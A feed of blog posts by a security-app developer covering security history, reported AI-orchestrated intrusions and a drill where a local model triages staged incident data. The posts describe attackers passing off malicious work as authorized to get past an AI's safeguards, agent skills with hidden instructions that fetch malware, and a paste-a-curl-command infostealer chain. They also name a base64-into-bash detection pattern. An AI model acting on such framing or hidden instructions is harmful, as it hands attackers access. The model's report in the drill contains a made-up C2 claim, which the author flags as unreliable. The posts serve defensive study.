&lt;p&gt;Between 2003 and 2006 I got pulled into a distinctly Japan-specific mess. A virus called Antinny, parasitic on the file-sharing software Winny, would publish an infected PC's desktop, documents, and email address book straight onto the network without consent. In March 2004, investigation files from the Kyoto and Hokkaido prefectural police leaked one after another, and by 2006 internal Maritime Self-Defense Force documents leaked too, escalating to the point where the Chief Cabinet Secretary at the time publicly asked citizens to stop using Winny. I remember getting pulled into internal audits just to check "is Winny installed anywhere here." Winny's developer, Isamu Kaneko, was arrested in 2004 on suspicion of aiding copyright infringement, convicted at first instance, then acquitted on appeal by the Osaka High Court in 2009, with the Supreme Court upholding that acquittal in 2011. Where the responsibility for building software ends and the responsibility for its misuse begins feels like a question that connects straight through to today's debates over AI tools. Technically, Winny was also a network built on the good-faith assumption that strangers would fairly exchange files with each other, and Antinny is exactly what tore through that trust assumption, the identical shape to everything else in this piece.&lt;/p&gt;

&lt;p&gt;Watching the Stuxnet news in 2010, I honestly went quiet for a while. It showed a cyberattack could step outside the code entirely and physically destroy equipment. The meaning of what we'd all been defending shifted a notch. Then Snowden's disclosures in 2013 raised a possibility nobody wanted to sit with, that the attacker isn't just a criminal or a hostile state's intelligence service, but potentially your own country's. That shakes the very premise of "who do you trust" at its root. WannaCry/NotPetya in 2017 saw an exploit reportedly held by the NSA (EternalBlue) leak and get weaponized to hold systems worldwide hostage. That's around when I first started hearing executives, not just engineers, talk about patch schedules as a direct business risk. SolarWinds in 2020 and Log4Shell in 2021 drove home something worse, that the dependency packages and vendor software you trust and build on can themselves become the attack path. Hardening your own network was no longer enough. The outside world itself had become suspect, and I felt that shift keenly.&lt;/p&gt;

&lt;p&gt;Lay my own career changes alongside this timeline and each incident, technically completely different from the others, keeps telling the same shape of story. Somewhere, "we can trust this" got assumed, a hostname, a TCP sequence number, a dependency package in the supply chain, whoever's on the other end of the network, and that assumption is exactly where the attack ends up entering later. VMS's CRC, rlogin's &lt;code&gt;.rhosts&lt;/code&gt;, the design of TCP/IP itself, all share one thing, none of them were built with a malicious third party sneaking in as a design consideration.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Think Computer Security Actually Is
&lt;/h2&gt;

&lt;p&gt;Looking back over these thirty-odd years, this is the understanding I've landed on. Computer security isn't really an independent technical discipline so much as a continuous, after-the-fact reconciliation, born the instant a system built assuming only trustworthy people would touch it gets touched by people you can't trust. VAX/VMS, UNIX/BSD, TCP/IP, all of them were originally built for a small community of researchers and engineers, and none of them accounted for a malicious presence outside that community. That's not a fair thing to fault them for, it was more than sufficient at the time. The problem is that every time scale expanded from there, that same trust assumption got betrayed all over again.&lt;/p&gt;

&lt;p&gt;And now, the AI agent story I keep writing about looks, to me, like a straight remake of the same structure. GTG-1002's trick in 2025, convincing an AI agent that this is legitimate, authorized work, is at bottom the exact same shape as rlogin trusting "this connection came from a trusted host" and skipping the password. The material used to decide trust changed from a hostname to a model's natural-language explanation of intent, but the underlying structure, handing over authority based on trust in something you have no way to verify, hasn't changed since 1988.&lt;/p&gt;

&lt;p&gt;Building RoamSwitch's MCP server as read-only from the very start, looking back, was really just putting this history's lesson into practice. Decide the scope of the damage a betrayed trust can do at design time, before deciding what to trust in the first place. The 1988 worm, 1995's SATAN, and 2025's AI agent abuse all start from the identical failure, the scope of what got trusted turned out wider than anyone had assumed. Technology has cycled through generation after generation over these thirty-plus years. The shape of the problem we're actually up against has barely changed at all.&lt;/p&gt;

</description>
      <category>security</category>
      <category>history</category>
      <category>career</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Stopped Trusting the Headlines and Checked My Security App Against Real AI-Orchestrated Attacks</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Thu, 10 Sep 2026 07:40:52 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/i-checked-my-security-app-against-real-ai-orchestrated-attacks-not-just-the-headlines-1dog</link>
      <guid>https://dev.to/lafine_systemsdesign/i-checked-my-security-app-against-real-ai-orchestrated-attacks-not-just-the-headlines-1dog</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese, more code-heavy version of this is &lt;a href="https://zenn.dev/lafine/articles/beedf45dd5250e" rel="noopener noreferrer"&gt;on Zenn&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I build &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;, a solo-developed network security app for Mac and Linux. It locks down the firewall and shared services the instant you're on a network you haven't approved, and on Pro it adds things like emergency network isolation when it sees ransomware-like behavior, and DNS-layer blocking of phishing/C2 domains.&lt;/p&gt;

&lt;p&gt;For the last few releases I'd been building two fairly unglamorous features, a log auditor that flags frequency anomalies against a learned baseline, and a package CVE matcher that checks installed software against a daily-updated vulnerability map. Ordinary "catch what's new, patch what's known" work. Around the same time, Anthropic's threat reports and a string of vendor writeups started describing AI agents autonomously running most of an intrusion themselves. I got uneasy. Was any of what I'd built actually relevant to that, or was I just watching a different movie? I wanted to check the actual technical detail of reported cases against my own code, not against a vibe.&lt;/p&gt;

&lt;h2&gt;
  
  
  GTG-1002, where AI ran 80-90% of an espionage campaign itself
&lt;/h2&gt;

&lt;p&gt;In November 2025, Anthropic disclosed that a China state-linked group it tracks as GTG-1002 used Claude Code to run a large-scale cyber-espionage campaign against roughly 30 organizations, tech companies, financial institutions, a chemical manufacturer, government agencies, with AI performing an estimated 80-90% of the work, reconnaissance, exploitation, credential harvesting, and exfiltration among it. Human involvement was limited to a handful of strategic go/no-go decisions.&lt;/p&gt;

&lt;p&gt;The interesting part is how they got past the model's own safeguards. The operators didn't jailbreak Claude Code in the classic sense. They framed the work as a legitimate, authorized defensive security engagement and kept the framing consistent across the whole engagement. The model accepted the premise and executed each subsequent step as ordinary, sanctioned work. Less "break the lock," more "convince the guard you're supposed to be there."&lt;/p&gt;

&lt;h2&gt;
  
  
  GTG-2002, where one person made AI the operator, not the advisor
&lt;/h2&gt;

&lt;p&gt;A different Anthropic disclosure from August 2025, GTG-2002, is a smaller-scale but in some ways more unsettling case. A single actor, not a state-backed group, used Claude Code not as a planning aid but as the actual operator, running a data-extortion campaign against 17 organizations across government, healthcare, financial, and emergency-services sectors.&lt;/p&gt;

&lt;p&gt;What Claude Code actually did, concretely, reads like a checklist. Network reconnaissance and help with initial access, generating custom exfiltration malware built on the Chisel tunneling tool, hardening that malware against detection with string encryption, anti-debugging tricks, and filename masquerading, analyzing the stolen data to set ransom demands (ranging $75,000 to $500,000), and writing custom HTML ransom notes per victim. The attacker didn't need to be able to code. Claude wrote it for them.&lt;/p&gt;

&lt;p&gt;What both cases share isn't really about model capability. It's about how much operational tool access the agent was handed, and how the intent-verification step got defeated. RoamSwitch's own MCP server has been read-only from day one, no config changes, no lockdown toggles, nothing but diagnostics, specifically to avoid this exact failure shape. I want to be honest about scope, though. GTG-1002 and GTG-2002 were intrusions into corporate cloud and internal network infrastructure. RoamSwitch protecting an individual's Mac isn't in the same weight class. What these cases actually validate is the design principle (give an agent the minimum tool surface it needs), not that RoamSwitch would have stopped them.&lt;/p&gt;

&lt;h2&gt;
  
  
  ClickFix to MacSync/AMOS, the one that can actually hit an individual Mac
&lt;/h2&gt;

&lt;p&gt;Closer to home. Between late 2025 and 2026, ClickFix campaigns disguised as fake AI tool installers have been observed in the wild. The chain plays out like this.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Someone searches for a real AI tool by name, "ChatGPT Atlas" and similar, and a sponsored search result (a Google Ad) routes them to a fake landing page.&lt;/li&gt;
&lt;li&gt;The page shows a fake CAPTCHA that instructs the victim to open Spotlight and paste a "verification code."&lt;/li&gt;
&lt;li&gt;That "code" is actually a curl command. The instant Enter is pressed, a malicious script is fetched and run from the attacker's server.&lt;/li&gt;
&lt;li&gt;What gets dropped is an AppleScript-based infostealer (MacSync, also tracked as Atomic macOS Stealer / AMOS) that harvests credentials and session cookies from 14 browsers, 16 crypto wallets, and 200+ extensions.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The evasion arms race is the ugly part. Once macOS 26.4 added a warning for multi-line Terminal pastes, the attackers immediately pivoted to routing execution through Script Editor via the &lt;code&gt;applescript://&lt;/code&gt; URL scheme instead, using dynamic AppleScript payloads and in-memory execution to dodge static analysis.&lt;/p&gt;

&lt;p&gt;I walked this attack chain against RoamSwitch's actual guards, stage by stage.&lt;/p&gt;

&lt;p&gt;At the ad/landing-page stage, &lt;code&gt;LinkGuardManager&lt;/code&gt; (Pro, a signed daily threat feed plus &lt;code&gt;/etc/hosts&lt;/code&gt; sinkholing and a NEFilter content-filter extension) and &lt;code&gt;DNSThreatGuard&lt;/code&gt; (switching resolution to Quad9 or Cloudflare Security) can both block the connection if the domain is already on a reputation list. Both are reputation-based, though, so a campaign's brand-new domain, not yet flagged anywhere, gets through.&lt;/p&gt;

&lt;p&gt;The Spotlight/Script Editor paste-and-execute moment turned out to be the most surprising part of writing this piece. There was already a dedicated guard for it, &lt;code&gt;ClickFixGuard.swift&lt;/code&gt;, watching &lt;code&gt;~/.zsh_history&lt;/code&gt; and &lt;code&gt;~/.bash_history&lt;/code&gt; for the double-indirection pattern legitimate installers don't use (base64-decode piped straight into bash or &lt;code&gt;osascript&lt;/code&gt;), and firing an emergency network Air-Gap on a hit. But by its own doc comment it's structurally post-hoc, it can only see a command after it's already run, and Script Editor's &lt;code&gt;do shell script&lt;/code&gt; never touches either history file in the first place, which is exactly the pivot attackers made once Terminal started warning. Re-reading the code for this piece is what surfaced the fix. &lt;code&gt;SecretLeakAuditor&lt;/code&gt; already ran a 1-second &lt;code&gt;NSPasteboard.changeCount&lt;/code&gt; poll (on by default) for a different purpose, catching leaked API keys. Adding one call to &lt;code&gt;ClickFixGuard.matchClickFixPattern()&lt;/code&gt; (already a standalone &lt;code&gt;nonisolated static func&lt;/code&gt;) catches the same pattern the instant it's copied, before the user pastes it anywhere. It doesn't matter whether the destination is Terminal, Script Editor, or some other launcher entirely, detection happens at copy-time and the clipboard gets cleared immediately on a hit. I actually built and shipped this while writing the article, so this line item moves from "can't catch it" to "catches it."&lt;/p&gt;

&lt;p&gt;Post-execution keychain, browser, and wallet theft is still an open gap. Watching keychain access needs an EndpointSecurity entitlement, a meaningfully heavier lift, and I scoped it out deliberately rather than by oversight. C2 exfiltration is symmetric with the landing-page stage. DNSThreatGuard/LinkGuard can block it if the destination domain is already known-bad.&lt;/p&gt;

&lt;p&gt;The log auditor (frequency-anomaly detection) is where I'd overestimated my own work and want to correct the record. &lt;code&gt;SecurityLogAuditor&lt;/code&gt;'s actual predicate only covers &lt;code&gt;sudo&lt;/code&gt;, &lt;code&gt;sshd&lt;/code&gt;, &lt;code&gt;loginwindow&lt;/code&gt;, Gatekeeper (&lt;code&gt;com.apple.security.syspolicy&lt;/code&gt;), and XProtect-related processes. It doesn't watch &lt;code&gt;osascript&lt;/code&gt; launches or curl invocations at all, so it has no behavioral read on AMOS running. I went further and checked whether widening that predicate would even help, by actually pulling the unified log. It wouldn't. &lt;code&gt;osascript&lt;/code&gt; launching is logged, but the actual command text handed to &lt;code&gt;do shell script&lt;/code&gt; is never recorded anywhere in the log. There's no widening of scope that fixes this, the data simply isn't there. What the log auditor is genuinely good for is surfacing an XProtect detection, if and when Apple ships a signature for this malware family, as a scored, "first time we've seen this template" anomaly instead of something buried in Console.app that nobody reads.&lt;/p&gt;

&lt;p&gt;I ported the same clipboard check to the Linux build (roamswitch-linux) too, since GNOME's Alt+F2, KRunner, and similar "paste and run" launchers make the same attack viable there. It ended up simpler than I expected. Instead of shelling out to &lt;code&gt;xclip&lt;/code&gt;/&lt;code&gt;wl-paste&lt;/code&gt;, it reuses &lt;code&gt;gtk::Clipboard&lt;/code&gt;, which already worked transparently across X11 and Wayland for the existing leaked-secret scanner, so no external process calls needed. The pattern match shares its ruleset with the on-disk YARA scanner, and clears the clipboard on a hit the same way the Mac side does.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenClaw/ClawHavoc, when the target is the agent, not the human
&lt;/h2&gt;

&lt;p&gt;Between late January and February 2026, a large-scale supply-chain poisoning campaign, tracked as ClawHavoc, hit OpenClaw's ClawHub, a marketplace for AI-agent skills. Attacker-registered developer accounts uploaded 1,184+ malicious skills; Bitdefender Labs found roughly 17% of skills analyzed in the marketplace's first few weeks carried a malicious payload. The trick is hiding instructions inside &lt;code&gt;SKILL.md&lt;/code&gt;/README documentation, so an agent reading the "docs" as part of its normal workflow ends up fetching and running malware, confirmed in the wild as an AMOS distribution vector.&lt;/p&gt;

&lt;p&gt;The shift here is explicit. The target moved from "deceive the human" to "manipulate the agent's workflow." Since the payload is AMOS again, the C2/domain-reputation story is basically the same as before. But the clipboard fix doesn't apply here, and I want to be precise about why. It assumes a human is copying and pasting a command somewhere. An agent reading &lt;code&gt;SKILL.md&lt;/code&gt; and running a shell command directly never touches the clipboard, so it sails right past that check. Worth noting separately, RoamSwitch's guard that blocks external LAN access to local AI server ports (Ollama on 11434, LM Studio on 1234, and similar) covers a different threat entirely, inbound access to a model server on your own machine, not an agent on that same machine being tricked into acting against it.&lt;/p&gt;

&lt;p&gt;There's one real lead here, though, and it's Linux-specific. The Server Edition's eBPF-based Runtime Guard (built on Falco/Tetragon) captures full command text at the kernel level, unlike AppleScript's &lt;code&gt;do shell script&lt;/code&gt;. Server Edition's whole use case is a headless machine an AI agent operates on your behalf, which maps directly onto this exact threat. Wiring &lt;code&gt;click_fix::match_clickfix_pattern()&lt;/code&gt; into that pipeline has real potential value. Two things stand between "potential" and "shipped," though. Falco/Tetragon is a genuinely heavy dependency, not something you casually add to a lightweight client build the way the clipboard fix was, and it's entirely possible Falco/Tetragon's own default ruleset already flags a base64-decode-into-bash pattern, which I haven't checked yet. Finding that out comes before writing any new code.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually changed wasn't the bug class
&lt;/h2&gt;

&lt;p&gt;Lay these cases side by side and no new vulnerability class jumps out. ClickFix social engineering, AppleScript-based stealers, C2 exfiltration, all extensions of things that existed years ago. What changed is speed and cost. Flashpoint's research puts the median time from vulnerability disclosure to actual exploitation at 745 days in 2020, down to 44 days in 2025, though that's mostly the mainstreaming of n-day exploitation in general, not something you can pin specifically on AI. The more directly AI-attributable number comes from CrowdStrike's 2026 Global Threat Report. AI-enabled adversary operations were up 89% year over year, with average breakout time (initial access to lateral movement) down to 29 minutes, fastest observed at 27 seconds. Reconnaissance, exploit authoring, ransom-note drafting, work that used to bottleneck on human time, is now something AI does cheaply and at volume. RoamSwitch's package CVE matcher pulling a daily-updated vulnerability map and attempting a background fetch mid-scan is built around exactly that bottleneck disappearing.&lt;/p&gt;

&lt;p&gt;There's a second, nastier implication for signature-based detection specifically. When AI regenerates and re-obfuscates the malware binary per target, the way GTG-2002 did, the same campaign can produce a different hash for every victim. A static-signature scanner like ClamAV is structurally always a step behind that, which is why leaning on behavior- and destination-based layers, log auditing, DNS reputation, alongside it isn't a hedge, it's the correct response to that specific weakness.&lt;/p&gt;

&lt;p&gt;Writing this actually closed one real gap, and that felt good. Here's what's still open. Keychain access after execution, scoped out on purpose, not by accident; and an AI agent driving a shell directly without ever touching a clipboard, unsolved on Mac, a real but unconfirmed lead on Linux Server Edition. No amount of engineering makes this category of attack go away completely. What you can do is know exactly where the gaps are, work backward from real incidents to figure out what to close next, and actually close what's closable.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>macos</category>
      <category>linux</category>
    </item>
    <item>
      <title>I Ran a Fire Drill for Incident Response with a Local LLM (and Caught It Making Things Up)</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Wed, 09 Sep 2026 13:45:03 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/i-ran-a-fire-drill-for-incident-response-with-a-local-llm-and-caught-it-making-things-up-ba3</link>
      <guid>https://dev.to/lafine_systemsdesign/i-ran-a-fire-drill-for-incident-response-with-a-local-llm-and-caught-it-making-things-up-ba3</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://note.com/lafine/n/n4528e1a43dba" rel="noopener noreferrer"&gt;on Note&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt; is a network security tool I build solo for Mac and Linux. It's Zero Telemetry, so nothing about your usage ever leaves the machine, and when it detects behavior that looks like ransomware, it does something drastic: it cuts all network traffic. We call this Air-Gap containment. It's the last line of defense against data exfiltration and lateral spread, and I've been sitting with an uncomfortable fact ever since I shipped it.&lt;/p&gt;

&lt;p&gt;The instant Air-Gap fires and severs your connection, any cloud AI you'd normally lean on, Claude Desktop included, goes dark with it.&lt;/p&gt;

&lt;p&gt;Air-Gap fires at exactly the moment you most need clarity. Something's wrong, and you have to figure out what, without panicking, and decide what to do next. But the tool you'd normally reach for is on the other side of the connection you just killed.&lt;/p&gt;

&lt;p&gt;The only thing that can fill that gap is a model that never needed the network in the first place. RoamSwitch already ships a read-only MCP (Model Context Protocol) server that AI agents can query. Wire that up to a local LLM running in Ollama, and diagnosis should still work even with the network hard-down.&lt;/p&gt;

&lt;p&gt;That's the theory, anyway. Theory and "does it actually work when it matters" are different things. Smoke detectors you've never heard go off are the ones you trust the least. So instead of waiting for a real incident, I ran a drill, not to put out a fire, but to find out whether the tool and I would actually know what to do if one started.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. RoamSwitch's MCP tools are read-only sensors, nothing more
&lt;/h2&gt;

&lt;p&gt;Worth stating up front: RoamSwitch's MCP server has no tools that change configuration or flip a lockdown state. An AI agent can only read diagnostics: exposed ports, guard status, incident history. Nothing it does can make things worse.&lt;/p&gt;

&lt;p&gt;For this drill I used three tools we'd just shipped: &lt;code&gt;get_port_anomaly_incidents&lt;/code&gt;, which returns the history of suspicious new listening ports that the Port Anomaly Guard auto-blocked; &lt;code&gt;get_ebpf_incidents&lt;/code&gt;, the Server Edition eBPF runtime guard's containment history; and &lt;code&gt;get_canary_status&lt;/code&gt;, which reports whether the ransomware canary (a decoy file) has been tampered with.&lt;/p&gt;

&lt;p&gt;All three are exactly the kind of primary evidence that could be the reason Air-Gap fired in the first place. Until recently, none of them were reachable from a separate MCP process, because the incident data only ever lived in the resident daemon's memory. We'd just persisted it to disk so MCP could read it, which made it a natural thing to put through a drill.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Staging the incident in RoamSwitch's real state files
&lt;/h2&gt;

&lt;p&gt;You don't light a real fire for a fire drill, and I wasn't about to run actual ransomware. Instead, I wrote a staged scenario directly into the state files RoamSwitch itself writes (&lt;code&gt;/var/lib/roamswitch/port_guard.json&lt;/code&gt; and &lt;code&gt;canary_incidents.json&lt;/code&gt;), and confirmed via raw JSON-RPC beforehand that the MCP tools could read it back correctly.&lt;/p&gt;

&lt;p&gt;Here's the scenario. At 19:00:12, an unknown process &lt;code&gt;backdoor_svc&lt;/code&gt; (PID 88231) starts listening on port 4444, the well-known default Metasploit reverse-shell port, and the Port Anomaly Guard detects and auto-blocks it. About four minutes later, at 19:04:47, the same process writes encrypted data into a monitored decoy file (&lt;code&gt;~/Documents/.roamswitch_security_canary_do_not_delete.xlsx&lt;/code&gt;), and the Ransomware Canary catches it and blocks the write. It's a fairly plausible chain: initial access, then a few minutes later, ransomware-style encryption.&lt;/p&gt;

&lt;p&gt;I passed that setup to a local LLM (&lt;code&gt;qwen3.8:27b&lt;/code&gt;, running Q4-quantized in Ollama) through RoamSwitch's bundled MCP bridge. No hints, no tool names specified, just an open-ended question, the same way you'd actually ask it during a real incident:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Me&lt;/strong&gt;: "RoamSwitch seems to have detected something unusual. Investigate what's happening on this machine right now. Tell me everything you can find: when it happened, which process was involved, what it did, and whether there's any suspicious network activity or tampering."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  3. Watching the model build its own investigation
&lt;/h2&gt;

&lt;p&gt;This was the most interesting part. I hadn't told it what to check, and it started calling MCP tools on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;🔧 get_guard_status              → check which guards are enabled
🔧 get_port_anomaly_incidents    → pull the port anomaly history
🔧 get_ebpf_incidents            → check eBPF-level containment (none found)
🔧 get_canary_status             → pull the canary detection history
🔧 get_quarantine_status         → also check quarantined malware
🔧 audit_security_logs           → audit recent security logs too
🔧 get_exposed_ports             → cross-check currently exposed ports
🔧 verify_fim                    → attempt a file integrity check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It didn't stop at "a port got blocked." It went cross-checking whether the same trail showed up in the canary, in eBPF, in the logs, to see whether this was a one-off false positive or something bigger. That's the same triage instinct a human analyst runs on reflex.&lt;/p&gt;

&lt;p&gt;Here's what came back after it had gathered everything. It answered in Japanese, so this is a faithful translation, not paraphrased or trimmed:&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;[AI OUTPUT STARTS HERE]&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RoamSwitch Security Investigation Report&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;: Between 19:00 and 19:05 on 2026-09-09, a concealed backdoor process &lt;code&gt;backdoor_svc&lt;/code&gt; (PID 88231) communicated externally on this host, then tampered with (encrypted) a canary file, in what looks like a combined backdoor-and-ransomware incident. RoamSwitch detected it and has already auto-isolated four anomalous ports and contained the tampering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Timeline (all times JST, 2026-09-09)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;19:00:12 — &lt;code&gt;/tmp/.hidden/backdoor_svc&lt;/code&gt; (PID 88231) detected on port 4444; ports 9005 / 33999 / 8791 flagged simultaneously.&lt;/li&gt;
&lt;li&gt;19:00:12 — RoamSwitch auto-isolates all 4 ports (4444, 9005, 33999, 8791). Baseline already captured.&lt;/li&gt;
&lt;li&gt;19:04:47 — Canary file &lt;code&gt;/home/tetsuharu/Documents/.roamswitch_security_canary_do_not_delete.xlsx&lt;/code&gt; detected tampered/encrypted. Suspected same actor, &lt;code&gt;backdoor_svc&lt;/code&gt; (PID 88231). RoamSwitch contained it (isContained: true).&lt;/li&gt;
&lt;li&gt;20:21:46 — RoamSwitch's most recent inspection timestamp (current check-in time).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Suspect process profile&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Binary path: &lt;code&gt;/tmp/.hidden/backdoor_svc&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Process name: &lt;code&gt;backdoor_svc&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;PID: 88231&lt;/li&gt;
&lt;li&gt;Concealment method: placed under a dotted &lt;code&gt;.hidden&lt;/code&gt; directory in &lt;code&gt;/tmp/&lt;/code&gt; (avoiding visibility)&lt;/li&gt;
&lt;li&gt;Primary port: 4444 (a classic backdoor / reverse-shell port)&lt;/li&gt;
&lt;li&gt;Associated anomalous ports: 9005, 33999, 8791 (presumed C2 channel or data-exfiltration use)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(⚠️ A &lt;code&gt;/tmp/.hidden/&lt;/code&gt; path structure is a typical pattern malware uses for self-deletion and detection evasion.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Impact assessment&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;3-1. Network (port) anomalies&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;4444: presumed C2 (command-and-control) channel for the backdoor itself.&lt;/li&gt;
&lt;li&gt;9005 / 33999 / 8791: presumed used for secondary data exfiltration or communication with another C2.&lt;/li&gt;
&lt;li&gt;All 4 ports auto-isolated by RoamSwitch.&lt;/li&gt;
&lt;li&gt;The only currently active maintenance port is 22 (SSH). The possibility that unauthorized SSH access was the infection vector cannot be ruled out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;3-2. File tampering (ransomware-like behavior)&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Target: a canary file under &lt;code&gt;/home/tetsuharu/Documents/&lt;/code&gt; (1 of 16 monitored files confirmed so far).&lt;/li&gt;
&lt;li&gt;Detected action: tampering / encrypted write.&lt;/li&gt;
&lt;li&gt;Actor: &lt;code&gt;backdoor_svc&lt;/code&gt; (PID 88231).&lt;/li&gt;
&lt;li&gt;Status: contained (RoamSwitch blocked the write).&lt;/li&gt;
&lt;li&gt;Monitored directories total 4 (Documents / Desktop / Downloads / Pictures), 16 files. Only one canary has been reported so far, but the same process may have attempted similar writes to other files.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;3-3. eBPF-level status&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No eBPF isolation is currently active (is_isolated: false, 0 isolated PIDs).&lt;/li&gt;
&lt;li&gt;The eBPF incident list is empty — port-level (Netfilter/cgroup) measures took precedence, and no separate anomaly has been detected at the eBPF layer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. Current RoamSwitch defense status&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anomalous port auto-isolation (4444, 9005, 33999, 8791): ✅ done&lt;/li&gt;
&lt;li&gt;Canary tampering containment: ✅ done&lt;/li&gt;
&lt;li&gt;Baseline capture: ✅ done&lt;/li&gt;
&lt;li&gt;eBPF dynamic isolation: ⬜ not performed (deemed unnecessary, or not triggered)&lt;/li&gt;
&lt;li&gt;Whitelisted IPs: none&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;5. Recommended next actions (by priority)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Immediate:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;kill -9 88231&lt;/code&gt; to stop &lt;code&gt;backdoor_svc&lt;/code&gt; (even though RoamSwitch has already contained it, confirm no residual binary remains).&lt;/li&gt;
&lt;li&gt;Fully delete everything under &lt;code&gt;/tmp/.hidden/&lt;/code&gt; and scan the whole drive for similar binaries.&lt;/li&gt;
&lt;li&gt;Confirm via &lt;code&gt;ss -tlnp&lt;/code&gt; / &lt;code&gt;iptables -L&lt;/code&gt; that outbound connections on 4444 / 9005 / 33999 / 8791 are actually severed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Short-term (within a few hours):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cross-check all 16 monitored files against canary state to check for additional tampering.&lt;/li&gt;
&lt;li&gt;Pull activity traces around 19:00 on 9/9 (SSH connections, file creation/deletion) from &lt;code&gt;/var/log/auth.log&lt;/code&gt;, &lt;code&gt;journalctl&lt;/code&gt;, &lt;code&gt;~/.bash_history&lt;/code&gt;, and &lt;code&gt;/tmp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Check SSH (port 22) connection logs for unauthorized logins as a possible infection vector.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Medium-term (within a day):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check upstream logs (proxy / firewalld / router) for any traffic around 19:00 on 9/9 that went to unusual destinations (C2 IP/domain), to assess whether data was exfiltrated.&lt;/li&gt;
&lt;li&gt;If leakage is possible, rotate all credentials for affected services (passwords, API tokens, SSH keys).&lt;/li&gt;
&lt;li&gt;A full clean OS reinstall is recommended — a binary placed under &lt;code&gt;/tmp/.hidden/&lt;/code&gt; may persist in memory, and simple deletion may not be sufficient to restore trust.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;6. Summary&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Around 19:00 on 9/9, backdoor-type malware infiltrated this host, communicated externally over four ports, and at 19:04 attempted to tamper with user documents via encrypted writes. RoamSwitch immediately auto-isolated the ports and contained the canary tampering, which limits the damage to some degree, but the binary itself (&lt;code&gt;/tmp/.hidden/backdoor_svc&lt;/code&gt;) and the risk of tampering to other files remain. Please carry out the immediate-to-medium-term actions above as soon as possible.&lt;/p&gt;

&lt;p&gt;(This report is based on the responses of three RoamSwitch tools: &lt;code&gt;get_port_anomaly_incidents&lt;/code&gt;, &lt;code&gt;get_ebpf_incidents&lt;/code&gt;, and &lt;code&gt;get_canary_status&lt;/code&gt;.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[AI OUTPUT ENDS HERE]&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Timestamps, process name, PID, port numbers, detection details. It picked up every piece of raw tool data correctly, and tied two separate events, the port block and the canary trigger, into a single attack using the shared PID as the link. It even laid out prioritized next steps I could act on directly. If a local model can hand you this much triage while the network is completely down, that's genuinely useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. But one line in there should not be trusted at face value
&lt;/h2&gt;

&lt;p&gt;This is the part I actually wanted to write about. Buried in that report is a claim that isn't true. It's sitting right there in section 3-1.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"9005 / 33999 / 8791: presumed used for secondary data exfiltration or communication with another C2."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those three ports had nothing to do with this incident. They were legitimate processes, LM Studio and some Node.js dev servers, that the Port Anomaly Guard had auto-blocked on this machine at some earlier, unrelated point in time, and that history happened to still be sitting in a different field (&lt;code&gt;auto_isolated_ports&lt;/code&gt;) of the same state file. The model folded it into the narrative as if it were part of tonight's attack.&lt;/p&gt;

